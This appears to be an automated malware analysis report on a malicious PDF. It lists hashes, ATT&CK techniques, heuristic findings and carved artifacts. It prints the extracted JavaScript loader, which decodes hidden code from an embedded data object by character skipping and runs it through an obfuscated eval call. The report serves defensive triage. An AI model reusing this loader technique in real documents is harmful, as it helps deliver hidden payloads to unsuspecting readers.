Malicious PDF — malware analysis report

Static analysis result for SHA-256 20db4ed9153db4b1…

MALICIOUS

PDF

5.9 KB First seen: 2026-05-09
MD5: b5347b5b3f671d73cd7275a005297c26 SHA-1: 9b2c8dfe267a807ecf92126bc8411c2633b02c57 SHA-256: 20db4ed9153db4b128c48cad9c6c77216a3391b373254ff19bf87e6181bdccbe
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/JScript T1553.005 Mark-of-the-Web Bypass

The PDF file was flagged as malicious by an ML classifier with high confidence. It contains embedded JavaScript and an embedded binary file, suggesting it is designed to deliver a secondary payload. The presence of JavaScript actions and streams points to the execution of code within the document. The ML classifier's output strongly indicates malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0012.bin pdf-embedded-file PDF EmbeddedFile object 12 at offset 0x428 149220 bytes
SHA-256: 32f1661f544d861835274ad8d046bbac69976e047e9c1675654fb2a26be710d8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 145 long base64-like blob(s).
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1CC 254 bytes
SHA-256: 1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6
Preview script
First 1,000 lines of the extracted script
ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){   rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd);        rf=re.one.value+re.two.value;this[rf](rc);

Open this report in the interactive analyzer, or submit your own file for analysis.